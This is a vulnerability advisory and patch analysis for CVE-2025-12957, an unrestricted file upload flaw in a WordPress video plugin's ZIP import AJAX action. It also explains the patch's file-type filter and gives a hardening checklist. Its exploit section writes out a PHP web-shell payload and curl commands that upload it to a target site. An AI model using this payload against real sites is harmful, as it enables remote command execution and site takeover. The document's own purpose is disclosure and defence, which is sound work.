The Exploit
Requires authenticated author-level access to the plugin’s AJAX import endpoint.
printf '<?php system($_GET["cmd"]); ?>' > shell.php.vtt
zip exploit.zip shell.php.vtt
curl -i -s -k -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
-H 'Cookie: wordpress_logged_in=YOUR_SESSION_COOKIE' \
-F 'action=aiovg_import_folder' \
-F 'security=<aiovg_ajax_nonce>' \
-F '[email protected];type=application/zip'
The request uses the plugin’s aiovg_import_folder AJAX action and the security nonce expected by check_ajax_referer('aiovg_ajax_nonce','security'). On vulnerable installs, the response returns the AJAX success path and the archive is extracted on disk.
The attacker observes a successful JSON/ajax reply and the malicious shell.php.vtt landing in the plugin’s extracted import directory. Because the plugin does not validate extracted file types, arbitrary files can be written to the target site.
What the Patch Did
Before:
$unzip_result = unzip_file( $zip_file_path, $extract_path );
if ( is_wp_error( $unzip_result ) ) {
return $unzip_result;
}
return untrailingslashit( $extract_path );
After:
$unzip_result = unzip_file( $zip_file_path, $extract_path );
if ( is_wp_error( $unzip_result ) ) {
// Remove protection files before returning
@unlink( $htaccess_file );
@unlink( $webconfig_file );
return $unzip_result;
}
// Keep only files allowed by WordPress MIME validation
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator( $extract_path, RecursiveDirectoryIterator::SKIP_DOTS ),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ( $iterator as $file ) {
if ( $file->isFile() ) {
$filetype = wp_check_filetype( $file->getFilename() );
if ( empty( $filetype['type'] ) ) {
@unlink( $file->getPathname() );
}
}
}
// Security cleanup
@unlink( $htaccess_file );
@unlink( $webconfig_file );
return untrailingslashit( $extract_path );
The patch adds a post-extraction whitelist check using WordPress’s wp_check_filetype() API and deletes any extracted files with an unknown MIME/extension type. It also removes dangerous archive-created protection files such as .htaccess and web.config.
Root Cause
This is an unrestricted file upload / archive extraction bug (CWE-434). Attacker-controlled content is submitted via the plugin’s import AJAX path, is passed to unzip_file(), and then returned immediately as an extracted directory. The plugin trusted the uploaded archive’s declared file type and did not validate the actual extracted filenames before leaving them on disk, so a file like shell.php.vtt could bypass the plugin’s VTT-only expectations and be retained.
Why It Works
The load-bearing fix is the wp_check_filetype() filter plus the conditional delete:
if ( empty( $filetype['type'] ) ) {
@unlink( $file->getPathname() );
}
Without that line, the extracted attacker-controlled file remains in place and the vulnerability is still exploitable. The iterator setup is necessary only to traverse the extracted directory, while the .htaccess/webconfig removals are extra cleanup that harden the logic but do not themselves block the core arbitrary file upload.
Hardening Checklist
- Enforce capabilities on AJAX callbacks with
current_user_can('manage_aiovg_options')or an equivalent plugin-specific capability. - Always use
check_ajax_referer('aiovg_ajax_nonce','security')for AJAX uploads to protect against CSRF. - After calling
unzip_file(), validate extracted files withwp_check_filetype($filename)and delete any files with empty or unknown types. - Do not write uploaded archives directly into a web-accessible directory without sanitizing filenames and extensions first.
- Remove archive-installed
.htaccess/web.configfiles from extracted upload folders to prevent attacker-controlled server configuration.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-12957